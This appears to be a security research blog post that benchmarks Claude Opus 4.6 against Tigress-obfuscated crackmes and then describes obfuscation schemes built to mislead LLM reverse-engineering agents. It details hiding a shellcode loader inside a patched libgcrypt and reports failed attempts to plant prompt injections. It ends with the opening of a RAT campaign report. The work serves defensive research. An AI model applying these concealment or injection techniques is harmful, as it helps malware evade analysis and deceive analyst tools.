Claude Opus 4.6 vs Tigress Obfuscator benchmark

We used Claude to benchmark its ability to statically solve a crackme obfuscated with the academic obfuscator Tigress.

Benchmark pipeline

To carry out these tests, we used a controller/worker setup in which one Opus instance manages sub-instances: it monitors their progress, collects their results, and can allocate more time to an instance if it judges that it is making progress and has potential. Conversely, it can also kill the instance if it estimates that the model is stuck in its task, going in circles, or starting to brute-force the problem.

Each worker sub-instance has access to a Windows virtual machine with IDA Pro installed and accessible via the IDA MCP plugin. It also has access to the resources of the Linux virtual machine it runs in for developing and launching scripts.

In addition, we use the Caveman plugin, compatible with Claude, which reduces LLM fluff talking up to -75% with the right instructions at startup. This increases work velocity and reduces the cost of each task. We use it in its default mode.

This setup allows each worker instance to start the test with an empty context and a classic reverse-engineering prompt, so it does not know it is being monitored as part of the benchmark.

Evaluation system

For the scoring, each target is scored by the controller instance on three axes (0–2 points each), for a maximum of six points:

Test cases

To perform these tests, we used the following challenge: recover the password r3v3rs3! by statically reverse-engineering the compiled binary.

// Run 2 crackme — 4-round XOR cipher with LCG key schedule
// Password "r3v3rs3!" only recoverable by reversing the algorithm.
// No key array in the binary — only a 32-bit seed.

unsigned int key_seed = 0x5EED1234u;

unsigned char enc_expected[8] = {
    0x1a, 0xcb, 0x74, 0xaa, 0x1a, 0x8b, 0x31, 0xb8
};

void transform(const char *input, unsigned char *output, int len) {
    unsigned int s = key_seed;
    unsigned int subkeys[4];

    // Key schedule: derive 4 round subkeys via glibc LCG
    for (int r = 0; r < 4; r++) {
        s = s * 1103515245u + 12345u;
        subkeys[r] = s;
    }

    // Copy input to 8-byte buffer (zero-padded)
    for (int i = 0; i < 8; i++)
        output[i] = (i < len) ? (unsigned char)input[i] : 0;

    // 4 rounds: XOR with subkey bytes, then rotate left by 1
    for (int r = 0; r < 4; r++) {
        for (int i = 0; i < 8; i++)
            output[i] ^= (unsigned char)(subkeys[r] >> (8 * (i & 3)));

        unsigned char tmp = output[0];
        for (int i = 0; i < 7; i++)
            output[i] = output[i + 1];
        output[7] = tmp;
    }
}

int verify(const unsigned char *transformed, int len) {
    if (len != 8) return 0;
    for (int i = 0; i < 8; i++)
        if (transformed[i] != enc_expected[i]) return 0;
    return 1;
}

// main(): reads argv[1], calls transform(), calls verify()
// prints "Access granted!" or "Access denied."

Results

Default Run

We compiled the challenge with different transformations, each transformation producing a different binary but with the same behavior and features. For the first run, we used default options for each transformation. All the transformations available in Tigress are available here. The tests were divided into 4 phases of increasing difficulty for a total of 22 targets:

Phase 0 - No Transforms

p0_baseline — No transformation

Phase 1 — Individual Transforms (7 targets):

p1_encode_arithmetic — EncodeArithmetic only
p1_encode_literals — EncodeLiterals only
p1_flatten_indirect — Flatten(indirect) only
p1_jit — JIT only
p1_jit_dynamic — JitDynamic(xtea) only
p1_virtualize_indirect_regs — Virtualize(indirect,regs) only
p1_virtualize_switch_stack — Virtualize(switch,stack) only

Phase 2 — Paired Transforms (7 targets):

p2_both_data — EncodeLiterals + EncodeArithmetic
p2_flatten_ind_enc_arithmetic — Flatten(indirect) + EncodeArithmetic
p2_flatten_ind_virt_sw — Flatten(indirect) + Virtualize(switch)
p2_jitdyn_enc_arithmetic — JitDynamic(xtea) + EncodeArithmetic
p2_virt_ind_enc_arithmetic — Virtualize(indirect,regs) + EncodeArithmetic
p2_virt_ind_enc_literals — Virtualize(indirect,regs) + EncodeLiterals
p2_virt_sw_enc_arithmetic — Virtualize(switch) + EncodeArithmetic

Phase 3 — Heavy Combos (7 targets):

p3_double_virtualize — Virtualize(switch) then Virtualize(indirect,regs) — nested VMs
p3_double_virt_both_data — Double virtualize + EncodeLiterals + EncodeArithmetic (the boss)
p3_flatten_ind_both_data — Flatten(indirect) + EncodeLiterals + EncodeArithmetic
p3_flatten_virt_ind_enc — Flatten(indirect) + Virtualize(indirect,regs) + EncodeArithmetic
p3_jitdyn_both_data — JitDynamic(xtea) + EncodeLiterals + EncodeArithmetic
p3_virt_ind_both_data — Virtualize(indirect,regs) + EncodeLiterals + EncodeArithmetic
p3_virt_sw_both_data — Virtualize(switch) + EncodeLiterals + EncodeArithmetic

The complete list of transformations, along with the generation options we used, is available here.

The evaluation of the results integrated three key criteria: the performance score, the cost, and the task execution time. It is crucial to note that even if a large language model is highly performant, its actual efficiency is always constrained by cost and time. These two factors are decisive in large-scale binary analysis, a task we aim to optimize through the different automated analysis pipelines developed at Elastic. Our objective is therefore to determine whether the use of tools such as Tigress significantly increases these three fundamental variables: performance, cost, and time.

Opus 4.6 solved 40% of the 20 tasks (22 from which 2 hanged and couldn’t be evaluated) with an average cost of $2.39 for successes and $4.83 for failures. In this 40%, 12.5% came from phase 0 (naked challenge without obfuscation), 50% from phase 1 (Simple transformation), 38.5% from phase 2 (Pair of transformations), and 0% from phase 3 (multiple layers).

Without surprise, we observe a significant increase in both the cost and time performance factors as the difficulty increases. Phase 3, which includes the most complex combinations of transformations, presents the best results with an average cost of $4.32. All failed tasks in this phase were terminated because the model began wasting tokens by going clueless or brute-force, failing to make any progress.

JIT (Just-In-Time) type obfuscation proved to be the most problematic transformation for our model during Phase 1. This technique consists of storing the code in an encrypted intermediate form. At execution time, the obfuscator reads this bytecode and generates valid x86 code, which is executed in dynamically allocated memory. This process is comparable to that of a virtual machine (like a PlayStation emulator), which compiles the code for an architecture different from the target and uses an emulator, with the additional JIT steps before execution.

Despite the failure of the JIT tasks, it is important to note that Opus 4.6 still identified the engine structures that host the LCG algorithm in the crackme. The failure lay in recovering the crucial constants needed to find the key.

Its work remains very impressive, and it can be assumed that with an increased budget and better guidance, the model could have succeeded. However, we must consider the practical asymmetry between the ease of generating such a task and the time and cost required to solve it. For a simple transformation, this obfuscation technique is very effective and makes scaling up the number of samples processed via an automated pipeline infeasible.

Phase 3, characterized by the multiplication and combination of obfuscation layers, led to a cost explosion. Although Claude once again accomplished part of the work very impressively, the task exceeded its capacity to continue autonomously.

For example, our results show that when faced with a double layer of virtualization (such as a Game Boy Advance game running in a GBA emulator, which itself runs in a PlayStation emulator), Claude manages to recover the handlers and bytecode of the upper virtual machine (the PlayStation). However, this exploit requires substantial effort: static analysis of the handlers, iterative development (multiple dev/debugging cycles) of the target emulator, then analysis of the results.

However, Claude consumes the majority of his budget on these preliminary steps. One can imagine that, with unlimited time and budget and slight guidance, he could succeed in the entire task. This efficiency makes him formidable for unique tasks or CTFs (Capture The Flag). Nevertheless, obfuscation remains viable as a defense against an automated pipeline that maximizes cost and time reductions to process the largest possible number of samples.

| Target | Phase | Transforms | Verdict | Score | Cost | Turns | Time | | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | | p0_baseline | 0 | None (control) | SUCCESS | 6/6 | $0.43 | 20 | 1m 55s | | p1_encode_arithmetic | 1 | EncodeArithmetic (MBA) | SUCCESS | 6/6 | $0.47 | 16 | 2m 20s | | p1_encode_literals | 1 | EncodeLiterals | SUCCESS | 6/6 | $1.65 | 28 | 9m 38s | | p1_flatten_indirect | 1 | Flatten (indirect) | SUCCESS | 6/6 | $1.27 | 58 | 6m 56s | | p1_jit | 1 | Jit | FAILURE | 2/6 | $5.90 | 40 | 32m 18s | | p1_jit_dynamic | 1 | JitDynamic (xtea) | FAILURE | 2/6 | ~$6+ | 137 | killed | | p1_virtualize_indirect_regs | 1 | Virtualize (indirect, regs) | SUCCESS | 6/6 | $6.00 | 97 | 25m 28s | | p1_virtualize_switch_stack | 1 | Virtualize (switch, stack) | INFRA_HANG | N/A | N/A | N/A | N/A | | p2_both_data | 2 | EncodeLiterals + MBA | SUCCESS | 6/6 | $1.08 | 21 | 6m 13s | | p2_flatten_ind_enc_arithmetic | 2 | Flatten + MBA | SUCCESS | 6/6 | $1.47 | 54 | 8m 03s | | p2_flatten_ind_virt_sw | 2 | Flatten + Virtualize (switch) | FAILURE | 2/6 | ~$3+ | 58 | killed | | p2_jitdyn_enc_arithmetic | 2 | JitDynamic + MBA | FAILURE | 2/6 | ~$3+ | 51 | killed | | p2_virt_ind_enc_arithmetic | 2 | Virtualize + MBA | SUCCESS | 6/6 | $3.85 | 65 | 19m 05s | | p2_virt_sw_enc_arithmetic | 2 | Virtualize (switch) + MBA | INFRA_HANG | N/A | N/A | N/A | N/A | | p2_virt_ind_enc_literals | 2 | Virtualize + EncodeLiterals | FAILURE | 2/6 | ~$5+ | 124 | killed | | p3_virt_ind_both_data | 3 | Virtualize + EncodeLiterals + MBA | FAILURE | 2/6 | ~$6+ | 140 | killed | | p3_virt_sw_both_data | 3 | Virtualize (switch) + EncodeLiterals + MBA | PARTIAL | 3/6 | $3.30 | 23 | 18m 58s | | p3_jitdyn_both_data | 3 | JitDynamic + EncodeLiterals + MBA | FAILURE | 1/6 | ~$2+ | 41 | killed | | p3_flatten_virt_ind_enc | 3 | Flatten + Virtualize + MBA | FAILURE | 1/6 | ~$5+ | 111 | killed | | p3_flatten_ind_both_data | 3 | Flatten + EncodeLiterals + MBA | FAILURE | 1/6 | ~$3+ | 65 | killed | | p3_double_virtualize | 3 | Double Virtualize | FAILURE | 1/6 | ~$6+ | 138 | killed | | p3_double_virt_both_data | 3 | Double Virtualize + EncodeLiterals + MBA | FAILURE | 1/6 | ~$5+ | 106 | killed |

Hardened Run

Tigress has additional options to make its transformations more complex; in the previous iteration, we used the default options. In this one, we took the cases where Claude managed to break the obfuscation and used the most aggressive options.

We hardened and benchmarked the following tasks:

p1_encode_arithmetic — EncodeArithmetic only
p1_flatten_indirect — Flatten (indirect) only
p1_virtualize_indirect_regs — Virtualize (indirect, regs) only
p2_both_data — EncodeLiterals + EncodeArithmetic
p2_flatten_ind_enc_arithmetic — Flatten (indirect) + EncodeArithmetic
p2_virt_ind_enc_arithmetic — Virtualize (indirect, regs) + EncodeArithmetic

The complete list of transformations, along with the generation options we used, is available here.

Applying the most aggressive obfuscation options for each tested transformation did not cause the model to fail on the tasks it had previously hosted. Nevertheless, a significant increase in cost and time factors was observed: up to a factor of x4 for time and x4.5 for cost in the case of the p2_flatten_ind_enc_arithmetic task.

It appears that the combination of control flow flattening (CFF) and complex Mixed Boolean Arithmetic (MBA) expressions is more effective than the association of virtualization (VM) and MBA. This superiority stems from the fact that even when the code is virtualized, the virtual machine handlers Tigress implements remain small and easy to analyze. Conversely, CFF causes an explosion in function size, which seems to be a more impactful weakness for the LLM.

The comparative results are presented in the table below:

| Target | Transforms | Run 2 Cost | Run 3 Cost | Cost Ratio | Run 2 Time | Run 3 Time | Time Ratio | | :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- | | p0_baseline | None (control) | $0.43 | $0.36 | 0.8x | 1m 55s | 1m 32s | 0.8x | | p1_encode_arithmetic | MBA | $0.47 | $0.71 | 1.5x | 2m 20s | 4m 08s | 1.8x | | p1_flatten_indirect | Flatten | $1.27 | $1.69 | 1.3x | 6m 56s | 9m 32s | 1.4x | | p1_virtualize_indirect_regs | Virtualize | $6.00 | $5.07 | 0.8x | 25m 28s | 25m 31s | 1.0x | | p2_both_data | EncodeLiterals + MBA | $1.08 | $1.21 | 1.1x | 6m 13s | 6m 46s | 1.1x | | p2_flatten_ind_enc_arithmetic | Flatten + MBA | $1.47 | $6.60 | 4.5x | 8m 03s | 34m 53s | 4.3x | | p2_virt_ind_enc_arithmetic | Virtualize + MBA | $3.85 | $5.96 | 1.5x | 19m 05s | 28m 03s | 1.5x |

Obfuscation techniques development targeting LLMs

The ability of LLMs to reverse-engineer closed-source software has improved impressively in recent years and will surely continue to progress. Until now, classic obfuscation methods have created a significant asymmetry between the time required to protect software and the time required to reverse-engineer it once the protection is in place. However, as we demonstrated in the previous section, an LLM-driven reverse-engineering agent was perfectly capable of defeating these protections and recovering the original code with impressive methodology and accuracy, both statically and without assistance, thereby significantly reducing this asymmetry for the first time.

However, we also observed that as obfuscation complexity increases, the time, cost, and success factors are drastically affected, thereby considerably reducing the viability of scaling the number of samples processed by an automatic analysis pipeline.

While LLMs make reverse engineering easier, they also make building obfuscation against themselves just as easy. Using Opus 4.6, we developed a set of source-level techniques targeting the structural and analytical weaknesses of LLM-based analysis. Using the same crackme as before, we achieved astonishing results across all factors, close to those we got with the hardest transforms of the Tigress obfuscator.

Analysis of the LLM weakness’

The reverse-engineering work of the LLM is surprisingly similar to that of human reasoning, the major difference being that a human is not limited by a context window that makes them increasingly foolish as it fills up. The context window is therefore obviously the first, and perhaps the most important, weakness of the models; it fills up as the task lengthens, with each reading of code, thoughts, scriptwriting, etc. Making the model waste as much time as possible on unnecessary paths and dead ends is therefore imperative.

Prompt injection is another technique targeting LLM’s in which specially crafted prompts (inputs) are used to trigger unintended behavior (outputs) from the model. The objective of this technique is to manipulate or confuse the underlying system so the prompt can bypass safety controls and generate unintended or unauthorized results. This poses a significant security risk because it can exploit weaknesses in how language models interpret and prioritize instructions, especially when deployed on internet-connected systems with access to sensitive data, external tools, or read/write capabilities. While we attempted to embed and hide prompt-injection strings in some of our tests to trick the LLM into prematurely ending its analysis or reaching the wrong conclusion, none of our attempts succeeded for Opus 4.6 so far.

The most powerful models we use every day in our work are, unfortunately, not yet open source and are even less accessible due to the necessary hardware to run them. That's why we have subscriptions to online models, which, while powerful, cost the user a lot of money. It is therefore obvious, and unsurprising, since we have already discussed it quite a bit, that the processing cost, whether temporal or monetary, is another major weakness. As with the context window, we will seek to make the model lose the maximum number of cycles so it burns the most money. If the model also fails after exhausting the budget, we hit the jackpot.

Finally, and this is the most amusing weakness, the model tends to cheat or take shortcuts. Specifically, when the problem is difficult, it will look for every possible trick to save time and may even tend to lie to cut things short. We are therefore seeking to exploit this weakness here by deliberately giving false information to the model and hiding the real behaviors as much as possible so that it is misled into thinking the information is true and doesn't try to dig deeper. Without spoiling anything, as you will see later in the post, even with the information that there is something to dig into, we found techniques that completely thwart its analysis.

Development Workflow

To develop these obfuscation techniques, we used a slightly modified version of the benchmark pipeline to iterate on, test, and refine them over several iterations until we achieved the desired results. The iterative process is simple: we develop a version, submit the binary to a new worker instance with a reverse-engineering prompt, evaluate the results once the job is completed, and discuss areas for improvement with the controller instance.

This is all the more effective because the reverse-engineering instance provides us with its entire thought process, allowing us to easily identify the parts of our obfuscation that enabled it to achieve the breakthrough. Then we "vibecode" the improvement and proceed with the next iteration.

By using this workflow, we were able to develop and improve our techniques very rapidly by better understanding its methods and analysis logic, with significant progress in results at each iteration until the model was defeated.

Obfuscator variant 1: Matryoshka Wall

This obfuscation technique exploits the asymmetry between an LLM’s static and dynamic analysis capabilities. By forcing the agent to serially reimplement a large number of operations that are cheap to execute natively but expensive to emulate statically, the technique creates a prohibitive time-and-cost ratio that renders analysis impracticable within a realistic budget.

This technique buries the crackme logic behind a loader and 100,000 layers of encryption — a matryoshka doll of chained ChaCha20 stages. The LLM can correctly identify the key derivation scheme and decryption steps, but solving the challenge requires actually running those steps, and the agent's static-analysis tooling has no way to execute natively. It has to reimplement ChaCha20 in Python inside its own loop, where 100,000 sequential rounds become prohibitively slow — the agent hits a wall and exhausts its token budget before reaching the inner payload.

Architecture and techniques

The program is a single 4.4 MB ELF file called authd, composed of three logical parts:

A small loader that works as the outer layer
4.4 MB encrypted payload blob embedded in the loader’s .rodata section
16 KB crackme binary that includes the original password check

When a password is provided to the loader, it walks 100k stages in reverse order. Each stage's ChaCha20 key is derived from the embedded host seed XORed with a 32-byte fragment that only becomes visible after decrypting the previous stage — so keys cannot be precomputed from the host seed alone.

Each iteration decrypts only the stage's 44-byte header, verifies a magic word and stage index, extracts the next fragment, and advances a read offset; after the iterations the buffer's tail holds the plaintext crackme ELF, which the loader writes to an anonymous memfd_create file descriptor and hands off via execve — replacing itself with the crackme, which then runs the user's password against the hardcoded expected ciphertext.

Although ChaCha20 was the real cipher, the binary was seeded with Salsa20 misdirection — a working salsa20_core implementation, exported symbols, and a vendor ELF note — designed to lead analysis toward the wrong cipher.

Results

For the first test, the per-stage key was not chained — each stage's key was a pure function of the host seed and the stage index, computable independently. Because every key depended only on the host_seed and i — both of which are static data embedded in the binary — an analyst who extracted the host seed could precompute all 100,000 keys offline in a single batch, then decrypt every stage in parallel without ever executing the binary. The stage header size was 12 bytes, bringing the binary size to 1.2 MB.

For this first benchmark using Opus 4.6, it cost $1.50 and took a total of 10 minutes with 30 turns. It was able to walk through the control flow, identify the packer element, decrypt 100k layers, and extract the ChaCha20 base key.

After triaging the binary, the agent concluded that solving it would require runtime execution it didn't have and stopped without attempting the decryption. The run was cheap ($1.50), but it still achieved the core objective: the agent did not recover the password.

For the second iteration, the program was modified so that each stage's ChaCha20 key is derived from the host seed XORed with a 32-byte fragment stored in the next outer stage's header — so the fragment is only revealed after that outer stage is decrypted. This means keys cannot be precomputed from the host seed alone; an analyst has to execute the chain sequentially, decrypting each stage to obtain the fragment needed for the next. This step increased each header’s stage size to 44 bytes, bringing the total program size to 4.4 MB.

The second test using Opus 4.6 hit our project’s max cost per binary at $10, taking 56 minutes with 61 turns. This time, the agent attempted to perform the decryption statically, but it ran out of time.

Both tests show that LLM agents are limited by their tooling rather than their reasoning. The agents correctly understood the technical details of each challenge, but hit a wall because their analysis was bound to static tools. The Salsa20 misdirection added minor cost, but did not meaningfully mislead either agent. The more durable finding is that cost ratios matter: these binaries execute natively in ~55 ms but cost $1.50 to $9.67 to fail against statically. Malware developers and threat actors will likely exploit this gap by designing binaries for cheap native execution and expensive static emulation. As LLM agents scale and gain more capabilities through dynamic-execution tooling, defenses that rely purely on this gap will weaken, making this a short-term advantage rather than a durable one.

Obfuscator variant 2: Double Fond

Claude Opus 4.6 likes to work efficiently by putting in as little effort as possible. The goal of our obfuscation is to make its work as easy as possible by feeding it a solution for analysis that it can proudly present as a result, while the real payload is buried in the code and clearly accessible if one knows how to trigger it.

To do this, we use an open-source library and patch certain functions so that, with the right inputs, the payload is triggered. Obviously, we do our best to hide the payload and conceal the mechanics for triggering it.

Architecture and techniques

The project's architecture is based on the assumption that we want Claude to believe the program has no hidden functionality and is simply a program that encrypts character strings passed as parameters using a given encryption algorithm. From a high-level perspective, the architecture consists of a main function that calls our library and uses it to perform the encryption task as if nothing were amiss. A loader function is hidden in the program with the necessary modifications so that IDA does not detect it via its prologue/epilogue. The xor-encrypted payload is also hidden in the program. Finally, some functions in the open source library libgcrypt have been patched to allow the main function to trigger the payload with the correct inputs; more on that later.

To achieve these results, we used several techniques to best hide all the mechanisms, starting with how the payload is triggered from the main function: The program accepts three parameters for its encryption: the string to be encrypted, the ID of the algorithm to use, and a key in hex format.

if (argc != 4)
{
  fprintf (stderr, "Usage: %s   \n", argv[0]);
  return 1;
}

The algorithm identifier is used in the libgcrypt library function to select and call the correct encryption function. To do this, the library has a pointer table with 25 slots: 24 for algorithms and 1 null. Each slot points to an object that describes each algorithm and contains a pointer to the corresponding handler. We patch this table to extend it to 256 handlers and set the last handler to a pointer to a fake object gcry_cipher_spec_t object.

static struct {
  gcry_cipher_spec_t *list[256];
} _gcry_cipher_table = {
  .list = {
    &_gcry_cipher_spec_blowfish,        /* [0]  */
    &_gcry_cipher_spec_des,             /* [1]  */
    // (...)
    &_gcry_cipher_spec_salsa20r12,      /* [21] */
    &_gcry_cipher_spec_gost28147,       /* [22] */
    &_gcry_cipher_spec_chacha20,        /* [23] */
    NULL,                               /* [24] terminator */
    /* [25..254]  random-looking garbage pointers filled at build time    */
    &_gcry_fips_selftest_ref  /* [255] ← ptr to our fake object  */
  }
};

We craft this fake object with the “algo = -1” and the encrypt function pointer pointing to our loader function, so when the library calls the encrypt function, it actually calls our handler.

typedef struct gcry_cipher_spec
{
  int algo;
  struct { unsigned int disabled:1; unsigned int fips:1; } flags;
  const char *name;
  const char **aliases;
  gcry_cipher_oid_spec_t *oids;
  size_t blocksize;
  size_t keylen;
  size_t contextsize;
  gcry_cipher_setkey_t     setkey;     /* nop_setkey in the fake spec */
  gcry_cipher_encrypt_t    encrypt;    /* ← &loader in the fake spec */
  // (...)
} gcry_cipher_spec_t;

The algo field is the algorithm ID and must match the ID the user requested. So why -1? It’s very simple: we placed our pointer to our fake object at slot 255 of our pointer table, knowing that only 25 slots originally existed. Then we modified the function that indexes this table to mask the index with 0xff, so that -1 (0xffffffffffffffff) becomes 255 (0xff) and points to our fake object pointer.

In previous versions, the pointer was directly adjacent to the structure, and Claude managed to find it without any problem, then by following the xref, it easily found our loader. So we mitigated that by moving the pointer away from the table and filling the gap with garbage data so that when the LLM finds the table, it doesn't accidentally stumble upon the pointer to our fake object.

The second problem we encountered was that the pointer to our fake object was initially written at runtime in a way that would not be present in the data during static analysis, preventing Claude from finding it by scanning the program's memory. To do this, we resolved the fake object address and the write-to address at runtime, then scattered the logic across different functions within the call tree of one of the library's initialization functions. Unfortunately, despite these precautions, Claude was able to systematically identify these elements during its thorough analysis of the library's functions.

To mitigate this issue, we chose to keep the pointer to our fake object static by patching the library code directly. However, to ensure that our pointer does not create a xref to our fake object and to our loader, and to be sure it doesn’t stand out on its own, we have encrypted all the table pointers and our own pointer so that the whole table, including the random data in the middle, just looks like garbage. Then we have patched the library so it handles the decryption without looking too suspicious. The encryption is very simple: we know that the pointer is rarely defined across all its 64 bits, so we use the high-order 8 bits as the key to encrypt the pointer.

raw  = (uint64_t)(uintptr_t)cipher_list[(unsigned)algo & 0xFF]; // algo == -1 -> loader
tag  = raw >> 56;
mask = tag * 0x0101010101010101ULL;
spec = (gcry_cipher_spec_t *)(uintptr_t)((raw ^ mask) & 0x00FFFFFFFFFFFFFFULL);
if (spec && spec->algo == algo)
  return spec;

The last issue is that our loader function was found by IDA analysis and was present in the function list, so the model would decompile it at some point while reviewing all functions.

We fixed that by crafting the loader with no prologue and epilogue so that it is not automatically found by disassembler heuristics. When the loader is called, it decrypts and loads into an empty, pre-allocated RWX segment called ".note.fips" which tries to blend in. The segment is empty so as not to arouse suspicion during static analysis, but is used to execute our payload as shellcode. The parameters that were intended for the encryption function are used for the crackme function.

Finally, as an attempt to mitigate binary diffing for what it’s worth, we purposely downloaded a slightly older version of the library and patched the version string to masquerade as the latest, with the idea that we would better hide our patches within the other legitimate changes.

Results

To conduct our research and tests, we informed the model that it was being benchmarked as part of a test and that it had to look for a hidden crackme in the program. The goal was to ensure that it didn't stop at the first conclusions and that it was forced to look as deeply as possible. This allowed us to assess the strengths and weaknesses of its analysis and find the right mitigations.

Reverse Engineering Prompt — Informed Scenario

Child knows there's a hidden crackme. Tests technical resilience of concealment.

---

System Prompt:

You are an experienced reverse engineer. You have access to IDA Pro through MCP tools that let you 
analyze binaries — decompile functions, list symbols, read strings, examine cross-references, and more.

The detection depth score is evaluated on the following criteria:

Here are the results we obtained for the different development iterations:

As you can see, each iteration has increased the various cost and time factors, despite Claude succeeding each time in cracking our concealment and recovering the crackme's password. We actually regressed with the V6, which introduced new flaws by simplifying how the pointer to our loader was written into memory. The breakthrough came with V7, which involved a complete redesign of the loader pointer's concealment mechanism with the techniques explained earlier.

Even with the explicit hint that the crackme is hidden within the binary, V7 makes Claude Opus 4.6 completely ineffective, resulting in a score of 1 out of 5 for a cost of $5.2 and 11.9 minutes.

Initially, we mentioned using a prompt that provided the model with details about the crackme. To assess the model's performance in a real-world scenario, we tested it without this additional information to see how quickly it would fail against V7. The results are as follows:

Without surprise, the “blind” scenario was even more effective with a score of 0 out of 5, but didn't maximize cost factors. Indeed, it quickly satisfies itself with the main-function decoy logic and doesn’t feel the need to look further.

Our results prove that, with the right workflow and guidance, we can easily build highly effective deceptive schemes targeting LLMs that I’m sure wouldn’t resist for five minutes against a skilled human reverse engineer, given the same static-analysis constraint.

Obfuscator variant 3: Dispatch Maze

This obfuscator variant implements a state-machine dispatcher to hide the crackme algorithm (reimplemented for Windows) within thousands of structurally similar functions. The core idea is to force the model to distinguish a handful of real cipher nodes from thousands of realistic decoys, all of which share similar API call patterns and data-dependent control flow. The LLM will attempt to limit the amount of decompile MCP tool calls to optimize for token consumption and context window usage, and the obfuscation is designed to ensure that any shortcut it takes instead will miss the real logic.

Architecture and techniques

The original cipher is shattered into 20 ordered fragments and scattered across 20 randomly-chosen functions among 3,000 total, chained together via data-dependent state transitions. The remaining 2,980 functions are decoys containing realistic Windows API calls (file, registry, memory, crypto, thread/sync, string ops) along with some math noise.

Execution flows through a volatile function pointer table: each node computes state_acc = state_acc * 0x6C078965 + CONST, returns state_acc % 3000, and the dispatcher calls the next node.

The following shows an example of 4 random function handlers:

We also prompted the LLM to introduce additional complexities, in which it implemented a few other techniques:

Constant diffusion - the cipher's LCG constants are replicated across ~50 decoy functions as math noise, so searching for these values returns false positives alongside the real cipher nodes
Scattered enc_expected globals - the 8 bytes of expected ciphertext (0x1a, 0xcb, 0x74, 0xaa, 0x1a, 0x8b, 0x31, 0xb8) are each stored in a separate volatile global, hidden among 92 decoy globals with random byte values
Opaque predicates gating fake cipher operations
~20 misleading strings built byte-by-byte (This is a standard Windows service manager utility., String buffers used for Windows event log formatting., etc.)
A constructor-derived key_seed (0x5EED1234) via modular exponentiation.

Running the initial test, version 1 of the obfuscated binary was cracked cleanly in under 12 minutes. Using the iterative development workflow, we developed a second version that extends version 1 with two main hardening techniques, each targeting a specific step in the attack that cracked the base variant.

Diversified transition templates

Every node function ends with the same arithmetic: state_acc = state_acc * 0x6C078965 + CONST, but in version 1, this was emitted as identical imul+lea instructions across all 3,000 functions. The LLM exploited this uniformity by running a single byte-pattern search to extract every transition constant in a single execution.

In version 2, the code generator randomly assigns one of 11 structurally different code templates (with the same underlying arithmetic) to each function. Some vary in how multiplication is computed: splitting it into 16-bit hi/lo parts or using a Russian peasant bit-loop. Others vary in how the constant is represented, such as deriving it at runtime from two or three volatile sub-values combined via XOR, ADD, or SUB, or reading it from a 500-entry volatile global array where only 13 entries are actually used to look up the required constants. No template accounts for more than ~10% of functions.

One limitation observed is that some template expressions, particularly the simpler arithmetic splits, were folded back by the decompiler during analysis, reducing the effective diversity. More aggressive templates (bit-loop multiply, table lookups, volatile intermediaries) survived decompilation intact.

Transit decoys in the real chain

In version 1, the analyst LLM simulated the state machine from its entry point and revealed exactly 20 visited functions, all of which contained the original cipher logic. The LLM chose to ignore the other 2,980 nodes entirely. In version 2, 91 transit nodes are inserted into the real execution chain, around 3-7 placed between each consecutive pair of cipher nodes. Transit nodes are visited during execution but perform no cipher work (contain the same API calls, math noise, and opaque predicates). After the chain simulation, there will be 111 visited functions, and each must be decompiled to identify the 20 actual functions that carry the cipher fragments.

Results

Version 1 was completely solved. The LLM identified the dispatcher, recognized that all 3,000 transition functions shared the same instruction pattern, and used a single byte-pattern search to extract every transition constant at once. From there, it simulated the state machine, found that only 20 functions were ever visited, decompiled them, and recognized the XOR cipher and LCG key schedule. Finally, it recovered the password r3v3rs3! at high confidence. It seemed to have ignored the misleading strings meant to throw it off guard. The entire analysis took under 12 minutes and cost $2.56 over 68 turns.

Version 2 was not solved. The pipeline spent 3.8x longer (~ 46 minutes), used 1.75x more turns (119), and cost 3.4x more ($8.83), but failed to recover the password. It correctly identified the dispatch table, the opaque predicates, and the termination handler, and recognized the use of noise handlers, demonstrating that it at least understood the high-level structure of the obfuscation.

Version 2 removed the shortcut the LLM relied on against Version 1, and the model failed to connect the scattered cipher fragments into a coherent algorithm, stalling on finding the comparison target without being able to invert it. The answer it returned (\x1a\xcb\x74\xaa\x1a\x8b\x31\xb8) is the raw ciphertext that the binary compares against.

Below is the plot result using the original evaluation system:

Conclusion

In this research, we explored in the first part Claude 4.6's ability to statically solve reverse engineering problems of obfuscated programs, of increasing difficulty. Despite very impressive performance, we demonstrated that program obfuscation is far from being overcome by the automated approach offered by LLMs, but that classic transformations are nevertheless easily breakable today. In the second part, we explored iterative development methods for three obfuscation variants that were completely "vibecoded," which demonstrates, at least if we focus on static analysis, that it is perfectly feasible to develop effective, rapid, custom, and low-cost obfuscation methods.

While this research only scratches the surface, it offers a glimpse into the ongoing arms race between obfuscation and automated analysis. It demonstrates that the barrier to developing effective countermeasures against LLM agents is currently low enough that any motivated operator can clear it in a single long weekend.

So buckle up: the cat-and-mouse game is leveling up, and neither side is playing with training wheels anymore.

Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT

Salim Bitam,Samir Bousseaden,Daniel Stepanic — Tue, 14 Apr 2026 00:00:00 GMT

A follow-up publication will provide a deeper technical analysis of PHANTOMPULSE itself, covering its injection engines, persistence internals, and C2 protocol in greater detail.

Preamble

Elastic Security Labs has identified a novel social engineering campaign that abuses the popular note-taking application, Obsidian, as an initial access vector. The campaign, which we track as REF6598, targets individuals in the financial and cryptocurrency sectors through elaborate social engineering on LinkedIn and Telegram. The threat actors abuse Obsidian's legitimate community plugin ecosystem, specifically the Shell Commands and Hider plugins, to silently execute code when a victim opens a shared cloud vault.

In the observed intrusion, Elastic Defend detected and blocked the attack at the early stage, preventing the threat actors from achieving their objectives on the victim's machine.

The attack chain is cross-platform, with dedicated execution paths for both Windows and macOS. On Windows, an intermediate loader decrypts and reflectively loads payloads entirely in memory using AES-256-CBC, timer queue callback execution, and multiple anti-analysis techniques. The chain culminates in the deployment of a previously undocumented RAT we are naming PHANTOMPULSE, a heavily AI-generated, full-featured backdoor with blockchain-based C2 resolution, advanced process injection via module stomping. On macOS, the attack deploys an obfuscated AppleScript dropper with a Telegram-based fallback C2 resolution mechanism.

This post will detail the full attack chain, from social engineering through final payload analysis, and provide detection guidance and indicators of compromise.

Key takeaways

PHANTOMPULSE is a novel, AI-assisted Windows RAT featuring blockchain-based C2 resolution via Ethereum transaction data and distinct injection techniques
We identified a weakness in the C2 mechanism that allows for a takeover of the implants by responders
Obsidian was abused for initial access social engineering attack
Cross-platform attack chain targeting both Windows and macOS
The macOS payload uses a multi-stage AppleScript dropper with a Telegram dead-drop for fallback C2 resolution
PHANTOMPULL is a custom in-memory loader that delivers PHANTOMPULSE

Campaign overview

